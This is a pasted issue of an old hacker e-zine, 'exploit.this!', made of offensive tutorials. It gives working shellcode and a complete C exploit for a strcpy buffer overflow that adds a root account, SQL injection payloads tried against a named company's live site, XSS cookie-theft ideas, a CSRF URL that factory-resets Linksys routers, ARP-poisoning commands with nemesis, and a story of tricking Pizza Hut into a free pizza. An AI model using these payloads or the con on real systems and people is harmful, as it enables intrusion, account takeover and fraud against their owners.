· 9 years ago · Jul 18, 2017, 08:48 PM
1 ###
2###### # # ##### # #### # ##### ##### # # # #### ###
3# # # # # # # # # # # # # # # ###
4##### ## # # # # # # # # ###### # #### #
5# ## ##### # # # # # ### # # # # #
6# # # # # # # # # ### # # # # # # ###
7###### # # # ###### #### # # ### # # # # #### ###
8
9 [ A hacking and network security magazine ]
10 written by CypherXero for cyphersecurity shared by lollhosh
11
12 http://exploitmag.cypherxero.net
13
14cypherxero@leetbox:~$ Let's get this bitch started!
15cypherxero@leetbox:~$ ./exploit.this
16
17-[0x00] TABLE OF CONTENTS -------------------------------------------------------------------------------
18
19[0x01] From the Editor
20[0x02] Buffer Overflow Attacks
21[0x03] SQL Injections for 0wning a Box
22[0x04] XSS/CSRF Injections
23[0x05] Social Engineering Pizza Hut
24[0x06] ARP Poisoning Attacks
25[0x07] Shoutz and Teh End
26
27-[0x01] FROM THE EDITOR ---------------------------------------------------------------------------------
28
29Welcome to the very first issue of exploit.this! magazine. A few months ago, I sat down and started coming
30up with ideas for a security team, and a magazine to go along with it. I love learning new technology and
31techniques, and I want to give back to the amazing community of hackers and computer enthusiasts by
32producing this magazine. I want to teach people the power of technology, and how it can be used to do
33things it wasn't inherently designed to allow you to do, either by taking files that don't belong to you,
34or using a service in a new way. This information is provided for you to use in whatever manner you see fit.
35What I'd like to see personally is to get people to think black hat, and act white hat. What I mean by that
36is I want you to hack your friend's wireless networks, and learn how you did what you did. When it comes
37time to secure a wireless network in the future, you'll remember back when you did it for fun, and you'll
38know how to keep others out, because you know how to get in. It's like a locksmith learning how to break
39locks to understand how to build a better lock. Information is power, and I certainly won't withhold
40information from people. It's how we get better as a community, and it's how we prevent making the same
41mistakes over and over. So enjoy this magazine, and I hope you can learn a few new tricks for your arsenal!
42
43-[0x02] BUFFER OVERFLOW ATTACKS ---------------------------------------------------------------------------
44
45
46 Buffer Overflow attacks are still common in today's software, and unfortunately, they're becoming
47more prevalent. The reason for it's amazing prevalence in software today is due to functions in programs
48that don't check buffers, and the programmers who don't use the newer, safer functions, or don't implement
49their own buffer checks. In this paper, I will discuss what a buffer overflow looks like, how it works,
50and I will give you proof-of-concept code that you can compile yourself.
51
52 A buffer overflow occurs when data is written past a buffer in an application. Say, for example, a
53program that takes user input, and has a buffer of 100 characters (or bytes). Anything less than 100
54characters is accepted, and works within the parameters of the buffer. Once you put in 100 or more
55characters (bytes), the buffer overflows, causing a segmentation fault in the program, and exits. What
56ends up happening is the data that overflows the buffer is pushed onto another location in memory, causing
57a call to an invalid location in memory, and thus a crash of the application. There are many different
58stack registers in a CPU, that help the CPU better manage memory. The ESP (Extended Stack Pointer) is
59references the last element on the stack, and when items are pushed or popped off the stack, the ESP is
60called. The EBP (Extended Base Pointer) holds the address to the beginning of the stack. In this paper, we
61will be focusing our attack and exploit of the EIP register. The EIP (Extended Instruction Pointer) points
62to the current address in memory.
63
64Here is a small piece of C code that is vulnerable to stack overflow exploits:
65
66#include <stdio.h>
67#include <string.h>
68
69int main(int argc, char **argv)
70{
71
72char buffer[100];
73
74strcpy(buffer, argv[1]);
75printf("%s\n", buffer);
76
77}
78
79Compile the C code using gcc (gcc vulnerable.c -o vulnerable), and enter a simple string to the
80program in the command line:
81
82root@box:~# ./vulnerable Hello
83Hello
84root@box:~#
85
86The program completed it's function, by copying the string entered into the buffer
87of 100 characters, printing the string back out, and exiting.
88
89Before continuing, type in the command to generate core dumps, we'll need them in a minute.
90ulimit -c unlimited
91
92 What would happen if we entered more than 100 characters into the application? Let's find out.
93First, a word about this next step. Each person will encounter a different "magic number", because of the
94way the compiler works, the system you're using, and so on. So, an exact 100 or 101 characters probably
95won't work, due to added padding and buffers around the programmed buffer. But, it will be close to the
96buffer, so we need to fuzz the application to find the perfect number. Fuzzing is just generating junk
97data to determine how many characters is needed for the exploit. Lets get started.
98
99 We're going to use perl to make things easier for us, rather than having to count each character.
100From the command line, enter:
101
102./vulnerable `perl -e 'print "A"x100'`
103
104You should get something like this:
105
106root@box:~# ./vulnerable `perl -e 'print "A"x100'`
107AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
108root@box:~#
109
110 The perl command sent 100 A's to our vulnerable binary, and it spit all
111100 characters back out, exiting normally. Which means 100 is NOT our magic number we need. Keep
112incrementing the number by 5 or so, until you get something like this:
113
114root@box:~# ./vulnerable `perl -e 'print "A"x128'`
115segmentation fault (core dumped)
116root@box:~#
117
118 Alright, we got a segmentation fault! This is exactly what we're looking for. Keep doing this
119until you find the first number that does it for you (ie. if 124 works fine, but 125 goes to a seg fault,
120use 125). Once you get a core dump, let's analyze what happened to cause the core dump, using gdb:
121
122root@box:~# gdb -c core
123GNU gdb 2002-04-01-cvs
124Copyright 2002 Free Software Foundation, Inc.
125GDB is free software, covered by the GNU General Public License, and you are
126welcome to change it and/or distribute copies of it under certain conditions.
127Type "show copying" to see the conditions.
128There is absolutely no warranty for GDB. Type "show warranty" for details.
129This GDB was configured as "i386-linux".
130Core was generated by `./vulnerable AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
131AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
132AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
133Program terminated with signal 11, Segmentation fault.
134#0 0x41414141 in ?? ()
135gdb>
136
137 What does this mean? See the 0x41414141 above? That's our EIP register. Our application crashed
138because it tried to access that location in memory, and it didn't exist, so it was forced to crash. Ah,
139but what is 41414141? Separate it into to numbers each, like such: 41 41 41 41. If you've ever studied
140hex, you'd know whats going on right away. The number 41 is the hex value for, yes, uppercase "A". Did you
141catch what we just did? We overflowed the buffer, and overwrote our character (A) over the EIP register.
142All we would have to go is overwrite the EIP register with a real location in memory, and we can have it
143execute that location in memory without issue at all. First, let's take our "magic number". For me, it was
144128 bytes that it took to overwrite the EIP with 41414141. Since 41 equals "A" in hex, that's AAAA, or 4
145bytes. Those 4 bytes will be know as the RET, which is updated after each operation, to know where in
146memory to move to next, after the current operation is complete. So, take your total size of the overflow
147buffer (in my case, again, it was 128) and subtract 4 bytes. So 128 minus 4 equals 124 bytes. We have 124
148bytes of junk space available for us to use. Let's talk about shellcode.
149Shellcode
150
151 Shellcode is basically the payload that we want to execute. Think about once we have a program
152exploited and under our control? Then what? Well, of course we would want to drop in some shellcode of our
153choosing, and run commands on the exploited target system. Since writing shellcode is beyond the scope of
154this paper, I will provide the shellcode used in the demonstrations. Our shellcode (borrowed from
155milw0rm.com), will add a new user called "r00t" to the system. This is useful for being able to connect to
156a machine with our own user name, with whatever permissions we set. Can't crack the root password? Well,
157exploit a buffer overflow, drop in and execute shellcode that adds a new user to the system, and log in
158via the new username. Here's the shellcode we'll be using today:
159
160char shellcode[] =
161 "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
162 "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
163 "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
164 "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
165 "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
166 "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
167
168 This shellcode is 69 bytes long. So, 128 - 4 - 69 equals 55 bytes. The final remaining bytes will
169be our NOP-sled. NOP, or No Operation codes, are codes that signify that that address in memory is to not
170be executed, and to keep moving down until executable code is found. This will let us "slide" into the
171shellcode and execute it. A typical NOP code is x90, and it's the one we'll be using for our exploit.
172NOP-slides help with relocating exploit code to other systems, which their RET address may differ
173slightly. This ensures that we can slide into our shellcode via the NOP-slide almost 100% of the time. Now
174we're going to find our RET code that we need, and then we'll be ready to exploit the application.
175
176First, we'll use perl to help us out again.
177
178So, the order is:
179[ NOP-sled ] [ shellcode ] [ RET ]
180
181root@box:~# ./vulnerable `perl -e 'print "\x90"x55,"\x6a\x05\x58\x31
182\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63
183\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68
184\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a
185\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80","BBBB"'`
186
187 As you can see from the above example, we're printing 55 bytes of NOP code (\x90), our shellcode
188(which accounts for 69 bytes), and finally, our RET address, which is 4 bytes. Since we don't know
189the RET address, let's just make it BBBB for right now (which B is 42 in hex, FYI). Once we execute
190this code, we'll get a seq fault again, with another core dump. Load up gdb with the core dump
191(gdb -c core). You should now see the EIP register is showing 0x42424242. Bingo! We're now executing our
192made-up RET address, BBBB. All we need is the location of our
193NOP-sled, and from there, we'll slide right on into our shellcode, and completely own this machine! Still
194in gdb, type in:
195
196gdb> x/1000xb $esp
197
198Scroll up until you find a bunch of lines that look like so:
199
2000xbffffbc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
2010xbffffbc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
2020xbffffbd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
2030xbffffbd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
2040xbffffbe0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
2050xbffffbe8: 0x90 0x90 0x90 0x90 0x6a 0x05 0x58 0x31
206
207 See all the "0x90" codes? Those are our NOP codes, and that string of NOP codes is...you guessed
208it, our NOP-sled! Now, take a look at the codes when it changes, which starts with "0x6a". Look familiar?
209Yes, it's our shellcode, just like we wanted. Now, to pick our RET address. Find a line with all NOP codes
210(0x90), and look at the number set on the far left. Copy that down. I'll go with 0xbffffbc8. We need to
211convert the number from big-endian to little-endian for use. Remove the 0x, and write down the remaining
212data:
213
214bffffbc8
215
216Now, separate those into two places, like such:
217
218bf ff fb c8
219
220Now, to write it in the order we need, start with the last two places, and put them first, and work
221backwards until you're done.
222
223c8 fb ff bf
224
225Now, write that in hex escape characters, and it'll be ready for our use.
226
227\xc8\xfb\xff\xbf
228
229Repeat the same code as before, but replace "BBBB" with "\xc8\xfb\xff\xbf". Hit enter.
230Now, you're going to get a lot of garbage on the screen: that's OK. Now, type in:
231
232root@box:~# cat /etc/passwd
233
234You know what's there now? Yep, the sad truth is, this vulnerability just added a new user to the system.
235You should now see this at the bottom of your passwd file:
236
237r00t::0:0:::
238
239Of course, using perl on the command line is no way to launch a proper exploit. Here's a small piece of C
240code I wrote to use what we just learned, but this time in an easy to use and compile exploit code.
241
242#include <string.h>
243#include <stdio.h>
244
245/* Total Size: 128 Bytes */
246
247int main()
248{
249printf("Buffer Overflow by ::[CypherXero]::\n");
250
251char exploit[300] = "./vulnerable ";
252
253/* EIP Address */
254/* 4 Byte Return Address */
255char ret[] = "\xe8\xfb\xff\xbf";
256
257/* Our NOP-slide, paving the way for shellcode execution */
258/* 55 Bytes */
259char nopslide[] =
260 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
261 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
262 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
263 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
264 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
265
266/* add user r00t to /etc/password */
267/* shellcode from milw0rm.com */
268/* 69 Bytes */
269char shellcode[] =
270
271 "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
272 "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
273 "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
274 "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
275 "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
276 "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
277
278/* Let's build the buffer overflow */
279strcat(exploit, nopslide); /* 55 Bytes */
280strcat(exploit, shellcode); /* 69 Bytes */
281strcat(exploit, ret); /* 4 Bytes */
282 /* TOTAL: 128 Bytes */
283
284printf("Exploiting ......\n");
285execl(exploit, 0);
286printf("Exploitation Finished!\n");
287return 0;
288}
289
290 This should have given you a good, technical overview of what buffer overflows are, and how
291you can go about exploiting these flaws. This paper just focused on one vulnerable function, strcpy().
292There are plenty of other vulnerable functions in C that are susceptible to buffer overflow attacks. For
293completion of this paper, use strncpy() instead, which features bounds checking, to make sure that the
294buffer never goes past a limit that you specify. And attempt to exploit the buffer using strncpy() will be
295stopped. Unfortunately, there are a lot of programs which use strcpy() with no bounds checking, and are
296vulnerable to this kind of attack. And an FYI, the MS Blaster worm of 2003 used a buffer overflow exploit
297in RPC DCOM. This information, like a hammer, can be misused for harm. I trust that you will choose to use
298the information you have just learned to make yourself a better security expert.
299
300-[0x03] SQL INJECTIONS FOR 0WNING A BOX -----------------------------------------------------------------
301
302 With the growing popularity of websites using the standard PHP/SQL interfaces, a new and dangerous
303type of attack is becoming more popular for hackers, and that is SQL Injection. SQL, or Standard Query
304Language, is a type of database specification for reading and writing information to a database. This is
305used to create dynamic webpages with structured content, and other data types.
306
307 The problem is not actually a problem with the SQL database itself, but rather how it is accessed
308and used via the scripting language on the website. The standard scripting language on the web for
309interacting with SQL databases is PHP. The real issue lies with the PHP programmers not writing the SQL
310statements correctly, which can allow an attacker to inject their own commands directly to the SQL
311database. Here's a sample of PHP code that dynamically builds a SQL command to be processed:
312
313$sql = "SELECT * FROM users WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";
314
315The SQL command would look like this to the database:
316
317SELECT * FROM users WHERE username='cypherxero' and password = '5f4dcc3b5aa765d61d8327deb882cf99';
318
319This would lookup my username (cypherxero), and then compare the password hash with the one in the
320database. If they're the same, then I'm authenticated, and logged in. The problem with this statement is
321that there is no sanitation on the user input, so if you entered your own SQL command, say for this login
322box, then you can bypass authentication!
323
324Consider this SQL Statement:
325
326' OR 1=1--
327
328Inserting this into the SQL command that already exists, we get this:
329
330SELECT * FROM users WHERE username='' OR 1=1--' and password = '5f4dcc3b5aa765d61d8327deb882cf99';
331
332This statement would return TRUE (since 1 does equal 1), and the rest of the SQL statement after the
333double-dashes will be commented out, and the system will return the first username in the database, and
334log you into the system as the first user (most likely admin) without the need for a password!
335
336Other ways of using SQL injections is with HTTP GET statements that pass variables onto the database.
337Let's take a look at a real SQL Injection I found a few weeks ago, in a component on the Joomla CMS. I
338first discovered this flaw while doing some random web app sec testing on one of my friend's company's
339website. Let's take this URL from her site:
340
341http://www.klochko.com/index.php?option=com_philaform&&Itemid=34&form_id=5
342
343As you can tell, we're passing the variables option, Itemid, and form_id to index.php, and the PHP script
344is passing those variables onto the SQL database. Let's see what happens when I insert a single tick mark
345at the end of the last variable:
346
347You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
348the right syntax to use near \'\\' ORDER BY ordering ASC\' at line 1 SQL=SELECT * from
349jos_philaform_detail WHERE form_id=5\\' ORDER BY ordering ASCNo elements defined
350
351Since we passed a variable that the database didn't know what to do with, it freaked out and returned an
352error message. Now, any sane person that's not a hardcore geek would just think something wrong happened,
353and try another website. Not me. I knew right then from seeing that message that I had a SQL Injection,
354and that I wanted to see what I could do. I searched google, milw0rm, packetstorm, and securityfocus, and
355couldn't find a sql injection for Phil-a-Form, which upon further research, was a piece of software for
356Joomla to add extra functionality. So, I figured either it was impossible to get an injection and had been
357done before without any luck, or that no one had found it yet. It turns out no one had found it yet, and
358now it was a race against the clock to find a proof-of-concept injection and submit it before someone else
359found it.
360
361There's a nice little SQL command called UNION that combines data from more than one table into one
362output, and that's what I was going to need. My goal was to get the administator password (in MD5 hash
363format) from the database. The SQL statement from the error messaged helped me understand what was going
364on with the query, and helped me write my injection. I knew that it was pulling data from the sql database
365for the forms that were on the page. I needed to combine that form table and data from another table onto
366one page. I did some research on Joomla, and found the list of the default SQL tables, and the format that
367they were in. I knew I needed to pull the password from the jos_users table, and that the password field
368was called password.
369
370Since UNION commands need to keep the columns the same for both tables, there were a lot more tables in
371the jos_philaform table than in the users table, so to keep the tables the same for the UNION command, I
372had to fill the injection string with enough nulls to make them the same. Since Phil-a-Form is
373pay-software, I didn't feel like putting my money down on software that I don't need, so it was just a
374matter of trial and error until I had the correct column size. The final SQL injection string looked
375looked like this:
376
377UNION SELECT null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,
378null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
379FROM jos_users --
380
381This statement, put on the end of the "form_id=5", pulled the password has from the database, and returned
382it to me on the page. The final result was the form on the page, but at the very bottom, a nice little
383error message, with, lo and behold, the MD5 hash of the first user in the table, the administrator.
384
385Fatal error: Cannot instantiate non-existent class: philaform_5f4dcc3b5aa765d61d8327deb882cf99 in
386/home/klochko/public_hhtml/components/com_philaform/philaform.class.php on line 437
387
388There it was, what I was looking for, the password in MD5. All that was left was to crack it using rainbow
389tables, and then if I was malicous, to log into admin and deface the website, or do whatever I wanted at
390that point. My friend's website has since been upgraded to the newer version of Phil-a-Form, and no, that
391is not the real admin hash, I don't think they would make their password "password".
392
393####################### NOW FOR A QUICK BREAK ###########################
394
395(12:07:54 PM) Dark Fusion: i feel a little drunk
396(12:07:58 PM) CypherXero: lol
397(12:08:05 PM) CypherXero: drunk on PWNAGE
398(12:08:10 PM) Dark Fusion: w0rd
399(12:08:15 PM) Dark Fusion: and the strong stogie
400(12:08:19 PM) CypherXero: yep
401(12:08:20 PM) Dark Fusion: but mostly pwnage
402(12:08:24 PM) CypherXero: heh
403(12:08:52 PM) Dark Fusion: first thing litehedded said to me on the irc room was " wtf is cx doin on pimp?"
404(12:08:57 PM) CypherXero: haha
405(12:09:12 PM) CypherXero: CX owns the internet
406(12:09:19 PM) Dark Fusion: told him for the pron
407(12:09:36 PM) CypherXero: Nightmare on leet street: "You are all my n00bs now!"
408(12:09:45 PM) Dark Fusion: oh NOES!!!!!
409(12:09:49 PM) CypherXero: lol
410
411###########################################################################
412
413-[0x04] XSS/CSRF INJECTIONS -----------------------------------------------------------------------------
414
415Cross-site Scripting (XSS) injections are popping up (no pun intended) everywhere, and are leading to a
416rise in phising scams, and other attacks on websites all over the web. With XSS, what happens is user
417input is put back on the page for dynamic content. To illustrate this, consider a search on a corporate
418website. When you type in your search, let's say it's the NBA.com (which has an XSS vulnerability, BTW),
419the page will contain your results, along with something like "229 Results found for Chicago Bulls".
420Change your search from "Chicago Bulls" to something even more leet, like "icanhascheezburger", and on the
421page you should now get something like "0 Results found for icanhascheezburger". If you look at what's
422going on, they're taking your search string, and returning it on the page. If this input is not sanitized,
423then you can inject your own code into the page, and have it executed on load. Here's a sample javascript
424that will pop up an alert box that says "XSS".
425
426<script>javascript:alert('XSS');</script>
427
428Try inserting this value into the search box, or even better, after you make a standard search, look up in
429the URL and see if you can find the variable that is passing your search string to the server, and place
430the javascript in that variable, and hit return. If the website is not sanitizing your input, then the
431rouge javascript will be placed on the page dynamically, and executed, popping up a javascript alert box.
432
433Javascript DOM (Document Objection Model) has really powerful statements that you can insert and execute
434client-side. One statement, document.cookie will return the cookie for that website, so one evil thing you
435can do is to send someone a link with your malicous javascript, and have it send you their cookies from
436that website. The reason why XSS gets it's name is because if you can execute javascript on the page, you
437can also execute javascript from an external .js file on another site. This is where the term "Cross-Site"
438scripting comes from. With XSS, you can now inject javascript onto a REAL website. Here's an example that
439will demonstrate the power of XSS.
440
441Say, for example, a popular bank has a XSS flaw on their login page, you could inject javascript on the
442page to send you a person's username and password when they login, and it will actually log them into the
443system, with the end-user being nonthewiser about what just happened.
444
445CSRF, or Cross-site Request Forgery, is similar to XSS, but instead of injection code onto a page, you're
446using someone's access to a website (like their bank), to make a request on their behalf without them
447knowing it. One interesting thing you can do with CSRF is to reset Linksys routers with it. When you click
448to reset the router to factory default, you're sending a command to the router that it understands, and
449knows what to do with. If you keep your username and password to the default (admin/admin), I can
450construct an CSRF script that loads in the background in an iframe, invisible to the user. But what the
451script is actually doing to sending a request to their router, on their behalf, with the command to reset.
452For a linksys router on 192.168.1.1, with admin/admin, the full request would look this such:
453
454http://admin:admin@192.168.1.1/apply.cgi?submit_button=Factory_Defaults&change_action=&
455action=Restore&wait_time=19&FactoryDefaults=1
456
457Send this link to someone, and have it load automatically in the background with an iframe, and within
458seconds their router will reset to factory default, because it thinks that they made the request, and that
459it's doing what it was programmed to do.
460
461-[0x05] SOCIAL ENGINEERING PIZZA HIT --------------------------------------------------------------------
462
463 We talk so much about hacking machines, but have you ever stopped to think about that hacking
464people could work with great results? Social Engineering is basically figuring how how to "hack people",
465by using conversation and skills to get what you want. So let's say you're hungry, and you don't have any
466cash on you. You really have to get some work done, but you can't work on an empty stomach, and you just
467saw one of those damn fucking ads on TV again for the 3rd time in an hour about the wonderful pizzas from
468Pizza Hut. Fuckers. So, let's just get a free pizza. It's that easy!
469
470 First, a little reconnaissance. I found this out by pure accident, but what happened to me once was
471that I put an order in for a pizza (and I was going to pay like always), and almost 2 hours elapsed and
472the food wasn't at my house yet, so I called up the store again, and asked for the status of the order. The
473order wasn't in the system! WTF? So, they told me that if they don't answer the phone fast enough, that they
474automatically rerouted the calls to a call center somewhere in the US, and take orders that way. Then,
475they just pass the order back to the store and make/deliver the pizza. So, for some reason, they failed
476get my order I have placed like 2 hours ago. So, the pizza finally arrives and I pay full price.
477
478 A couple of weeks later, I remembered what had happened, and I decided to social engineer
479Pizza Hut for a free pizza, and I was going to use the call center against them. I placed a call to the
480store, and made sure that I was talking to the local store, and not the call center. Once I was talking
481to my local store, I created a fake senario that I had been having issues with my order not getting
482through, and I think it was the call center again dropping my order. I said I had been waiting 2 hours,
483and that this was the second time this had happened. I said I had company over, and that they were getting
484hungry, and if they can please deliver my order! Since I had never called and placed an order, and it was
485apparently "lost" in the system (it's OK, blame the fucking computers for all of life's ills!), I gave
486them my order for the second time (in reality, it was the first time I gave them my order). I recited
487what I wanted without hesitation (because I was supposed to have placed this order already, remember?).
488
489 I just outright asked for it to be delivered ASAP, and that I didn't want to pay. Yes, I really
490told them I wanted it for free. And you know what? They complied without hesitation. Fifty minutes later, and
491there's a hot, fresh pizza waiting at my door...for free. I didn't even tip the delivery guy, just because
492that would defeat the whole purpose of my social engineering. Now, this is pretty much a one-time only
493deal, because calling every week and doing this will raise suspicions.
494
495-[0x06] ARP POISONING ATTACKS -------------------------------------------------------------------
496
497A typical scenario of ARP would be when Computer A sends data to Computer B, on an
498internal network. An ARP request is sent to every computer on the network, asking .Who has
499192.168.2.4?.. Every computer will ignore this request unless it is the computer with the IP address of
500192.168.2.4. In that case, Computer B will broadcast an ARP reply stating that 192.168.2.4 is on the
501MAC Address of 00:08:74:4C:7F:1D, which is the MAC address.
502
503ARP builds a table of IP addresses and their MAC addresses, so data can reach it.s intended
504destination. That.s all well and good, but how can we exploit this? By poisoning the ARP Cache table,
505and pretending we.re another computer.
506
507By using an application that can send raw data packets, we can use packet crafting (or packet
508injection) to crafting our OWN ARP requests and replies. In the situation of trying to capture packets
509on a switched network (man-in-the-middle attack), the basic routine is to tell the router WE are
510192.168.2.4, and submit our OWN MAC address. We do the same to the victim computer, in which we
511tell it that WE are the router, and this is the router.s new MAC address.
512
513Now, with IP forwarding enabled on our machine used to launch the poisoning, we can now be
514literally in the middle of the router and the target.s conversation. From there, it.s simply a matter of
515launching a packet sniffer, such as tcpdump, to capture and save the packets.
516
517A tool that we can use to demonstrate how ARP Poisoning works is one called nemesis. nemesis writes
518raw TCP packets across the network, allowing us to send our own ARP packets. Open up the terminal,
519and type in these two commands:
520
521cypherxero@leetbox:~$ nemesis arp -S 192.168.2.1 -D 192.168.2.1
522 / -h 00:04:5a:41:92:05 -M 00-0D-9D-59-94-C6
523cypherxero@leetbox:~$ nemesis arp -S 192.168.2.100 -D 192.168.2.100 -H 00:04:5a:41:92:05
524 / -h 00:04:5a:41:92:05 -M 00:0C:41:C1:71:95
525
526The basic format is:
527nemesis arp -S [Gateway IP] -D [Gateway IP] -H [Your MAC] -h [Your MAC] -M [Target MAC]
528nemesis arp -S [Target IP] -D [Target IP] -H [Your MAC] -h [Your MAC] -M [Gateway MAC]
529
530-[0x07] SHOUTZ AND TEH END -----------------------------------------------------------------------------
531
532First, let me give a shoutout to my leet friends on teh interweb, darkfusion, litehedded, and all my
533friends that have been with me for awhile. I fucking love hacking and security, and there's nothing like
534being rewarded for all your hard work by 0wning a machine at 3am. I live in a small town, and I hate this
535place, so in the next six months I'll be moving out to Seattle, Washington to make a name for myself in
536the tech/security industry. It's going to take a lot of hard work and motivation, but I think I can
537manage. If I can manage to write an entire fucking magazine from the *nix shell, I think I can do
538anything! w00t!
539
540Shoutz also go to str0ke from milw0rm, for running such a great site. The people I've met on milw0rm, and
541the amazing collection of knowledge pwns. Keep it up, guys. w0rd.
542
543exploit.this!, foo.
544
545p34ce...[CYPHERXERO] / www.cypherxero.net